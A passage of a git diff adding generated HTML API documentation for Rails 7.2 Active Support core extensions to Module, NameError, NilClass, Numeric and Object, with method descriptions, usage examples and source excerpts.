# File activesupport/lib/active_support/core_ext/module/remove_method.rb, line 7
+  def remove_possible_method(method)
+    if method_defined?(method) || private_method_defined?(method)
+      undef_method(method)
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_possible_singleton_method(method) + +

+ + +
+

Removes the named singleton method, if it exists.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/remove_method.rb, line 14
+  def remove_possible_singleton_method(method)
+    singleton_class.remove_possible_method(method)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + silence_redefinition_of_method(method) + +

+ + +
+

Marks the named method as intended to be redefined, if it exists. Suppresses the Ruby method redefinition warning. Prefer redefine_method where possible.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/redefine_method.rb, line 7
+  def silence_redefinition_of_method(method)
+    if method_defined?(method) || private_method_defined?(method)
+      # This suppresses the "method redefined" warning; the self-alias
+      # looks odd, but means we don't need to generate a unique name
+      alias_method method, method
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + thread_cattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: thread_mattr_accessor +
+ + + + +
+ +
+

+ + thread_mattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil) + +

+ + +
+

Defines both class and instance accessors for class attributes.

+ +
class Account
+  thread_mattr_accessor :user
+end
+
+Account.user = "DHH"
+Account.user     # => "DHH"
+Account.new.user # => "DHH"
+
+ +

Unlike mattr_accessor, values are not shared with subclasses or parent classes. If a subclass changes the value, the parent class’ value is not changed. If the parent class changes the value, the value of subclasses is not changed.

+ +
class Customer < Account
+end
+
+Account.user   # => "DHH"
+Customer.user  # => nil
+Customer.user  = "Rafael"
+Customer.user  # => "Rafael"
+Account.user   # => "DHH"
+
+ +

To omit the instance writer method, pass instance_writer: false. To omit the instance reader method, pass instance_reader: false.

+ +
class Current
+  thread_mattr_accessor :user, instance_writer: false, instance_reader: false
+end
+
+Current.new.user = "DHH"  # => NoMethodError
+Current.new.user          # => NoMethodError
+
+ +

Or pass instance_accessor: false, to omit both instance methods.

+ +
class Current
+  thread_mattr_accessor :user, instance_accessor: false
+end
+
+Current.new.user = "DHH"  # => NoMethodError
+Current.new.user          # => NoMethodError
+
+ +

A default value may be specified using the :default option. Because multiple threads can access the default value, non-frozen default values will be duped and frozen.

+
+ + + +
+ Also aliased as: thread_cattr_accessor +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/attribute_accessors_per_thread.rb, line 170
+  def thread_mattr_accessor(*syms, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil)
+    thread_mattr_reader(*syms, instance_reader: instance_reader, instance_accessor: instance_accessor, default: default)
+    thread_mattr_writer(*syms, instance_writer: instance_writer, instance_accessor: instance_accessor)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Module/Concerning.html b/src/7.2/classes/Module/Concerning.html new file mode 100644 index 0000000000..ae3771c09d --- /dev/null +++ b/src/7.2/classes/Module/Concerning.html @@ -0,0 +1,265 @@ +--- +title: Module::Concerning +layout: default +--- +
+ +
+
+ +
+ +

Bite-sized separation of concerns

+ +

We often find ourselves with a medium-sized chunk of behavior that we’d like to extract, but only mix in to a single class.

+ +

Extracting a plain old Ruby object to encapsulate it and collaborate or delegate to the original object is often a good choice, but when there’s no additional state to encapsulate or we’re making DSL-style declarations about the parent class, introducing new collaborators can obfuscate rather than simplify.

+ +

The typical route is to just dump everything in a monolithic class, perhaps with a comment, as a least-bad alternative. Using modules in separate files means tedious sifting to get a big-picture view.

+ +

Dissatisfying ways to separate small concerns

+ +

Using comments:

+ +
class Todo < ApplicationRecord
+  # Other todo implementation
+  # ...
+
+  ## Event tracking
+  has_many :events
+
+  before_create :track_creation
+
+  private
+    def track_creation
+      # ...
+    end
+end
+
+ +

With an inline module:

+ +

Noisy syntax.

+ +
class Todo < ApplicationRecord
+  # Other todo implementation
+  # ...
+
+  module EventTracking
+    extend ActiveSupport::Concern
+
+    included do
+      has_many :events
+      before_create :track_creation
+    end
+
+    private
+      def track_creation
+        # ...
+      end
+  end
+  include EventTracking
+end
+
+ +

Mix-in noise exiled to its own file:

+ +

Once our chunk of behavior starts pushing the scroll-to-understand-it boundary, we give in and move it to a separate file. At this size, the increased overhead can be a reasonable tradeoff even if it reduces our at-a-glance perception of how things work.

+ +
class Todo < ApplicationRecord
+  # Other todo implementation
+  # ...
+
+  include TodoEventTracking
+end
+
+ +

Introducing Module#concerning

+ +

By quieting the mix-in noise, we arrive at a natural, low-ceremony way to separate bite-sized concerns.

+ +
class Todo < ApplicationRecord
+  # Other todo implementation
+  # ...
+
+  concerning :EventTracking do
+    included do
+      has_many :events
+      before_create :track_creation
+    end
+
+    private
+      def track_creation
+        # ...
+      end
+  end
+end
+
+Todo.ancestors
+# => [Todo, Todo::EventTracking, ApplicationRecord, Object]
+
+ +

This small step has some wonderful ripple effects. We can

+
  • +

    grok the behavior of our class in one glance,

    +
  • +

    clean up monolithic junk-drawer classes by separating their concerns, and

    +
  • +

    stop leaning on protected/private for crude β€œthis is internal stuff” modularity.

    +
+ +

Prepending concerning

+ +

concerning supports a prepend: true argument which will prepend the concern instead of using include for it.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + concern(topic, &module_definition) + +

+ + +
+

A low-cruft shortcut to define a concern.

+ +
concern :EventTracking do
+  ...
+end
+
+ +

is equivalent to

+ +
module EventTracking
+  extend ActiveSupport::Concern
+
+  ...
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/concerning.rb, line 132
+    def concern(topic, &module_definition)
+      const_set topic, Module.new {
+        extend ::ActiveSupport::Concern
+        module_eval(&module_definition)
+      }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + concerning(topic, prepend: false, &block) + +

+ + +
+

Define a new concern and mix it in.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/module/concerning.rb, line 114
+    def concerning(topic, prepend: false, &block)
+      method = prepend ? :prepend : :include
+      __send__(method, concern(topic, &block))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/NameError.html b/src/7.2/classes/NameError.html new file mode 100644 index 0000000000..b42d0ec738 --- /dev/null +++ b/src/7.2/classes/NameError.html @@ -0,0 +1,186 @@ +--- +title: NameError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + missing_name() + +

+ + +
+

Extract the name of the missing constant from the exception message.

+ +
begin
+  HelloWorld
+rescue NameError => e
+  e.missing_name
+end
+# => "HelloWorld"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/name_error.rb, line 12
+  def missing_name
+    # Since ruby v2.3.0 `did_you_mean` gem is loaded by default.
+    # It extends NameError#message with spell corrections which are SLOW.
+    # We should use original_message message instead.
+    message = respond_to?(:original_message) ? original_message : self.message
+    return unless message.start_with?("uninitialized constant ")
+
+    receiver = begin
+      self.receiver
+    rescue ArgumentError
+      nil
+    end
+
+    if receiver == Object
+      name.to_s
+    elsif receiver
+      "#{real_mod_name(receiver)}::#{self.name}"
+    else
+      if match = message.match(/((::)?([A-Z]\w*)(::[A-Z]\w*)*)$/)
+        match[1]
+      end
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + missing_name?(name) + +

+ + +
+

Was this exception raised because the given name was missing?

+ +
begin
+  HelloWorld
+rescue NameError => e
+  e.missing_name?("HelloWorld")
+end
+# => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/name_error.rb, line 44
+  def missing_name?(name)
+    if name.is_a? Symbol
+      self.name == name
+    else
+      missing_name == name.to_s
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/NilClass.html b/src/7.2/classes/NilClass.html new file mode 100644 index 0000000000..c388e9f2a0 --- /dev/null +++ b/src/7.2/classes/NilClass.html @@ -0,0 +1,251 @@ +--- +title: NilClass +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + blank?() + +

+ + +
+

nil is blank:

+ +
nil.blank? # => true
+
+ +

@return [true]

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/blank.rb, line 56
+  def blank?
+    true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_param() + +

+ + +
+

Returns self.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/to_query.rb, line 20
+  def to_param
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + try(*) + +

+ + +
+

Calling try on nil always returns nil. It becomes especially helpful when navigating through associations that may return nil.

+ +
nil.try(:name) # => nil
+
+ +

Without try

+ +
@person && @person.children.any? && @person.children.first.name
+
+ +

With try

+ +
@person.try(:children).try(:first).try(:name)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/try.rb, line 148
+  def try(*)
+    nil
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + try!(*) + +

+ + +
+

Calling try! on nil always returns nil.

+ +
nil.try!(:name) # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/try.rb, line 155
+  def try!(*)
+    nil
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Numeric.html b/src/7.2/classes/Numeric.html new file mode 100644 index 0000000000..b40f723a01 --- /dev/null +++ b/src/7.2/classes/Numeric.html @@ -0,0 +1,1263 @@ +--- +title: Numeric +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
EXABYTE=PETABYTE * 1024
GIGABYTE=MEGABYTE * 1024
KILOBYTE=1024
MEGABYTE=KILOBYTE * 1024
PETABYTE=TERABYTE * 1024
TERABYTE=GIGABYTE * 1024
ZETTABYTE=EXABYTE * 1024
+ + + + + + + +

Instance Public methods

+ +
+

+ + byte() + +

+ + +
+ +
+ + + + + +
+ Alias for: bytes +
+ + + + +
+ +
+

+ + bytes() + +

+ + +
+

Enables the use of byte calculations and declarations, like 45.bytes + 2.6.megabytes

+ +
2.bytes # => 2
+
+
+ + + +
+ Also aliased as: byte +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/bytes.rb, line 15
+  def bytes
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + day() + +

+ + +
+ +
+ + + + + +
+ Alias for: days +
+ + + + +
+ +
+

+ + days() + +

+ + +
+

Returns a Duration instance matching the number of days provided.

+ +
2.days # => 2 days
+
+
+ + + +
+ Also aliased as: day +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/time.rb, line 37
+  def days
+    ActiveSupport::Duration.days(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exabyte() + +

+ + +
+ +
+ + + + + +
+ Alias for: exabytes +
+ + + + +
+ +
+

+ + exabytes() + +

+ + +
+

Returns the number of bytes equivalent to the exabytes provided.

+ +
2.exabytes # => 2_305_843_009_213_693_952
+
+
+ + + +
+ Also aliased as: exabyte +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/bytes.rb, line 63
+  def exabytes
+    self * EXABYTE
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fortnight() + +

+ + +
+ +
+ + + + + +
+ Alias for: fortnights +
+ + + + +
+ +
+

+ + fortnights() + +

+ + +
+

Returns a Duration instance matching the number of fortnights provided.

+ +
2.fortnights # => 4 weeks
+
+
+ + + +
+ Also aliased as: fortnight +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/time.rb, line 53
+  def fortnights
+    ActiveSupport::Duration.weeks(self * 2)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gigabyte() + +

+ + +
+ +
+ + + + + +
+ Alias for: gigabytes +
+ + + + +
+ +
+

+ + gigabytes() + +

+ + +
+

Returns the number of bytes equivalent to the gigabytes provided.

+ +
2.gigabytes # => 2_147_483_648
+
+
+ + + +
+ Also aliased as: gigabyte +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/bytes.rb, line 39
+  def gigabytes
+    self * GIGABYTE
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hour() + +

+ + +
+ +
+ + + + + +
+ Alias for: hours +
+ + + + +
+ +
+

+ + hours() + +

+ + +
+

Returns a Duration instance matching the number of hours provided.

+ +
2.hours # => 2 hours
+
+
+ + + +
+ Also aliased as: hour +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/time.rb, line 29
+  def hours
+    ActiveSupport::Duration.hours(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + html_safe?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 13
+  def html_safe?
+    true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_milliseconds() + +

+ + +
+

Returns the number of milliseconds equivalent to the seconds provided. Used with the standard time durations.

+ +
2.in_milliseconds # => 2000
+1.hour.in_milliseconds # => 3600000
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/time.rb, line 63
+  def in_milliseconds
+    self * 1000
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + kilobyte() + +

+ + +
+ +
+ + + + + +
+ Alias for: kilobytes +
+ + + + +
+ +
+

+ + kilobytes() + +

+ + +
+

Returns the number of bytes equivalent to the kilobytes provided.

+ +
2.kilobytes # => 2048
+
+
+ + + +
+ Also aliased as: kilobyte +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/bytes.rb, line 23
+  def kilobytes
+    self * KILOBYTE
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + megabyte() + +

+ + +
+ +
+ + + + + +
+ Alias for: megabytes +
+ + + + +
+ +
+

+ + megabytes() + +

+ + +
+

Returns the number of bytes equivalent to the megabytes provided.

+ +
2.megabytes # => 2_097_152
+
+
+ + + +
+ Also aliased as: megabyte +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/bytes.rb, line 31
+  def megabytes
+    self * MEGABYTE
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + minute() + +

+ + +
+ +
+ + + + + +
+ Alias for: minutes +
+ + + + +
+ +
+

+ + minutes() + +

+ + +
+

Returns a Duration instance matching the number of minutes provided.

+ +
2.minutes # => 2 minutes
+
+
+ + + +
+ Also aliased as: minute +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/time.rb, line 21
+  def minutes
+    ActiveSupport::Duration.minutes(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + petabyte() + +

+ + +
+ +
+ + + + + +
+ Alias for: petabytes +
+ + + + +
+ +
+

+ + petabytes() + +

+ + +
+

Returns the number of bytes equivalent to the petabytes provided.

+ +
2.petabytes # => 2_251_799_813_685_248
+
+
+ + + +
+ Also aliased as: petabyte +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/bytes.rb, line 55
+  def petabytes
+    self * PETABYTE
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + second() + +

+ + +
+ +
+ + + + + +
+ Alias for: seconds +
+ + + + +
+ +
+

+ + seconds() + +

+ + +
+

Returns a Duration instance matching the number of seconds provided.

+ +
2.seconds # => 2 seconds
+
+
+ + + +
+ Also aliased as: second +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/time.rb, line 13
+  def seconds
+    ActiveSupport::Duration.seconds(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + terabyte() + +

+ + +
+ +
+ + + + + +
+ Alias for: terabytes +
+ + + + +
+ +
+

+ + terabytes() + +

+ + +
+

Returns the number of bytes equivalent to the terabytes provided.

+ +
2.terabytes # => 2_199_023_255_552
+
+
+ + + +
+ Also aliased as: terabyte +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/bytes.rb, line 47
+  def terabytes
+    self * TERABYTE
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + week() + +

+ + +
+ +
+ + + + + +
+ Alias for: weeks +
+ + + + +
+ +
+

+ + weeks() + +

+ + +
+

Returns a Duration instance matching the number of weeks provided.

+ +
2.weeks # => 2 weeks
+
+
+ + + +
+ Also aliased as: week +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/time.rb, line 45
+  def weeks
+    ActiveSupport::Duration.weeks(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + zettabyte() + +

+ + +
+ +
+ + + + + +
+ Alias for: zettabytes +
+ + + + +
+ +
+

+ + zettabytes() + +

+ + +
+

Returns the number of bytes equivalent to the zettabytes provided.

+ +
2.zettabytes # => 2_361_183_241_434_822_606_848
+
+
+ + + +
+ Also aliased as: zettabyte +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/numeric/bytes.rb, line 71
+  def zettabytes
+    self * ZETTABYTE
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Object.html b/src/7.2/classes/Object.html new file mode 100644 index 0000000000..3445e4f2ed --- /dev/null +++ b/src/7.2/classes/Object.html @@ -0,0 +1,1073 @@ +--- +title: Object +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
APP_PATH=File.expand_path("test/dummy/config/application", ENGINE_ROOT)
+ + + + + + + +

Instance Public methods

+ +
+

+ + acts_like?(duck) + +

+ + +
+

Provides a way to check whether some class acts like some other class based on the existence of an appropriately-named marker method.

+ +

A class that provides the same interface as SomeClass may define a marker method named acts_like_some_class? to signal its compatibility to callers of acts_like?(:some_class).

+ +

For example, Active Support extends Date to define an acts_like_date? method, and extends Time to define acts_like_time?. As a result, developers can call x.acts_like?(:time) and x.acts_like?(:date) to test duck-type compatibility, and classes that are able to act like Time can also define an acts_like_time? method to interoperate.

+ +

Note that the marker method is only expected to exist. It isn’t called, so its body or return value are irrelevant.

+ +

Example: A class that provides the same interface as String

+ +

This class may define:

+ +
class Stringish
+  def acts_like_string?
+  end
+end
+
+ +

Then client code can query for duck-type-safeness this way:

+ +
Stringish.new.acts_like?(:string) # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/acts_like.rb, line 33
+  def acts_like?(duck)
+    case duck
+    when :time
+      respond_to? :acts_like_time?
+    when :date
+      respond_to? :acts_like_date?
+    when :string
+      respond_to? :acts_like_string?
+    else
+      respond_to? :"acts_like_#{duck}?"
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + blank?() + +

+ + +
+

An object is blank if it’s false, empty, or a whitespace string. For example, nil, ”, β€˜ ’, [], {}, and false are all blank.

+ +

This simplifies

+ +
!address || address.empty?
+
+ +

to

+ +
address.blank?
+
+ +

@return [true, false]

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/blank.rb, line 18
+  def blank?
+    respond_to?(:empty?) ? !!empty? : false
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_dup() + +

+ + +
+

Returns a deep copy of object if it’s duplicable. If it’s not duplicable, returns self.

+ +
object = Object.new
+dup    = object.deep_dup
+dup.instance_variable_set(:@a, 1)
+
+object.instance_variable_defined?(:@a) # => false
+dup.instance_variable_defined?(:@a)    # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/deep_dup.rb, line 15
+  def deep_dup
+    duplicable? ? dup : self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + duplicable?() + +

+ + +
+

Can you safely dup this object?

+ +

False for method objects; true otherwise.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/duplicable.rb, line 26
+  def duplicable?
+    true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + html_safe?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 7
+  def html_safe?
+    false
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in?(another_object) + +

+ + +
+

Returns true if this object is included in the argument.

+ +

When argument is a Range, #cover? is used to properly handle inclusion check within open ranges. Otherwise, argument must be any object which responds to #include?. Usage:

+ +
characters = ["Konata", "Kagami", "Tsukasa"]
+"Konata".in?(characters) # => true
+
+ +

For non Range arguments, this will throw an ArgumentError if the argument doesn’t respond to #include?.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/inclusion.rb, line 15
+  def in?(another_object)
+    case another_object
+    when Range
+      another_object.cover?(self)
+    else
+      another_object.include?(self)
+    end
+  rescue NoMethodError
+    raise ArgumentError.new("The parameter passed to #in? must respond to #include?")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instance_values() + +

+ + +
+

Returns a hash with string keys that maps instance variable names without β€œ@” to their corresponding values.

+ +
class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/instance_variables.rb, line 14
+  def instance_values
+    instance_variables.to_h do |ivar|
+      [ivar[1..-1].freeze, instance_variable_get(ivar)]
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + instance_variable_names() + +

+ + +
+

Returns an array of instance variable names as strings including β€œ@”.

+ +
class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_variable_names # => ["@y", "@x"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/instance_variables.rb, line 29
+  def instance_variable_names
+    instance_variables.map(&:name)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + presence() + +

+ + +
+

Returns the receiver if it’s present otherwise returns nil. object.presence is equivalent to

+ +
object.present? ? object : nil
+
+ +

For example, something like

+ +
state   = params[:state]   if params[:state].present?
+country = params[:country] if params[:country].present?
+region  = state || country || 'US'
+
+ +

becomes

+ +
region = params[:state].presence || params[:country].presence || 'US'
+
+ +

@return [Object]

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/blank.rb, line 45
+  def presence
+    self if present?
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + presence_in(another_object) + +

+ + +
+

Returns the receiver if it’s included in the argument otherwise returns nil. Argument must be any object which responds to #include?. Usage:

+ +
params[:bucket_type].presence_in %w( project calendar )
+
+ +

This will throw an ArgumentError if the argument doesn’t respond to #include?.

+ +

@return [Object]

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/inclusion.rb, line 34
+  def presence_in(another_object)
+    in?(another_object) ? self : nil
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + present?() + +

+ + +
+

An object is present if it’s not blank.

+ +

@return [true, false]

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/blank.rb, line 25
+  def present?
+    !blank?
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_param() + +

+ + +
+

Alias of to_s.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/to_query.rb, line 7
+  def to_param
+    to_s
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_query(key) + +

+ + +
+

Converts an object into a string suitable for use as a URL query string, using the given key as the param name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/to_query.rb, line 13
+  def to_query(key)
+    "#{CGI.escape(key.to_param)}=#{CGI.escape(to_param.to_s)}"
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + try(*args, &block) + + +

+ + +
+

Invokes the public method whose name goes as first argument just like public_send does, except that if the receiver does not respond to it the call returns nil rather than raising an exception.

+ +

This method is defined to be able to write

+ +
@person.try(:name)
+
+ +

instead of

+ +
@person.name if @person
+
+ +

try calls can be chained:

+ +
@person.try(:spouse).try(:name)
+
+ +

instead of

+ +
@person.spouse.name if @person && @person.spouse
+
+ +

try will also return nil if the receiver does not respond to the method:

+ +
@person.try(:non_existing_method) # => nil
+
+ +

instead of

+ +
@person.non_existing_method if @person.respond_to?(:non_existing_method) # => nil
+
+ +

try returns nil when called on nil regardless of whether it responds to the method:

+ +
nil.try(:to_i) # => nil, rather than 0
+
+ +

Arguments and blocks are forwarded to the method if invoked:

+ +
@posts.try(:each_slice, 2) do |a, b|
+  ...
+end
+
+ +

The number of arguments in the signature must match. If the object responds to the method the call is attempted and ArgumentError is still raised in case of argument mismatch.

+ +

If try is called without arguments it yields the receiver to a given block unless it is nil:

+ +
@person.try do |p|
+  ...
+end
+
+ +

You can also call try with a block without accepting an argument, and the block will be instance_eval’ed instead:

+ +
@person.try { upcase.truncate(50) }
+
+ +

Please also note that try is defined on Object. Therefore, it won’t work with instances of classes that do not have Object among their ancestors, like direct subclasses of BasicObject.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + try!(*args, &block) + + +

+ + +
+

Same as try, but raises a NoMethodError exception if the receiver is not nil and does not implement the tried method.

+ +
"a".try!(:upcase) # => "A"
+nil.try!(:upcase) # => nil
+123.try!(:upcase) # => NoMethodError: undefined method `upcase' for 123:Integer
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + with(**attributes) + +

+ + +
+

Set and restore public attributes around a block.

+ +
client.timeout # => 5
+client.with(timeout: 1) do |c|
+  c.timeout # => 1
+end
+client.timeout # => 5
+
+ +

The receiver is yielded to the provided block.

+ +

This method is a shorthand for the common begin/ensure pattern:

+ +
old_value = object.attribute
+begin
+  object.attribute = new_value
+  # do things
+ensure
+  object.attribute = old_value
+end
+
+ +

It can be used on any object as long as both the reader and writer methods are public.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/with.rb, line 26
+  def with(**attributes)
+    old_values = {}
+    begin
+      attributes.each do |key, value|
+        old_values[key] = public_send(key)
+        public_send("#{key}=", value)
+      end
+      yield self
+    ensure
+      old_values.each do |key, old_value|
+        public_send("#{key}=", old_value)
+      end
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_options(options, &block) + +

+ + +
+

An elegant way to factor duplication out of options passed to a series of method calls. Each method called in the block, with the block variable as the receiver, will have its options merged with the default options Hash or Hash-like object provided. Each method called on the block variable must take an options hash as its final argument.

+ +

Without with_options, this code contains duplication:

+ +
class Account < ActiveRecord::Base
+  has_many :customers, dependent: :destroy
+  has_many :products,  dependent: :destroy
+  has_many :invoices,  dependent: :destroy
+  has_many :expenses,  dependent: :destroy
+end
+
+ +

Using with_options, we can remove the duplication:

+ +
class Account < ActiveRecord::Base
+  with_options dependent: :destroy do |assoc|
+    assoc.has_many :customers
+    assoc.has_many :products
+    assoc.has_many :invoices
+    assoc.has_many :expenses
+  end
+end
+
+ +

It can also be used with an explicit receiver:

+ +
I18n.with_options locale: user.locale, scope: 'newsletter' do |i18n|
+  subject i18n.t :subject
+  body    i18n.t :body, user_name: user.name
+end
+
+ +

When you don’t pass an explicit receiver, it executes the whole block in merging options context:

+ +
class Account < ActiveRecord::Base
+  with_options dependent: :destroy do
+    has_many :customers
+    has_many :products
+    has_many :invoices
+    has_many :expenses
+  end
+end
+
+ +

with_options can also be nested since the call is forwarded to its receiver.

+ +

NOTE: Each nesting level will merge inherited defaults in addition to their own.

+ +
class Post < ActiveRecord::Base
+  with_options if: :persisted?, length: { minimum: 50 } do
+    validates :content, if: -> { content.present? }
+  end
+end
+
+ +

The code is equivalent to:

+ +
validates :content, length: { minimum: 50 }, if: -> { content.present? }
+
+ +

Hence the inherited default for if key is ignored.

+ +

NOTE: You cannot call class methods implicitly inside of with_options. You can access these methods using the class name instead:

+ +
class Phone < ActiveRecord::Base
+  enum :phone_number_type, { home: 0, office: 1, mobile: 2 }
+
+  with_options presence: true do
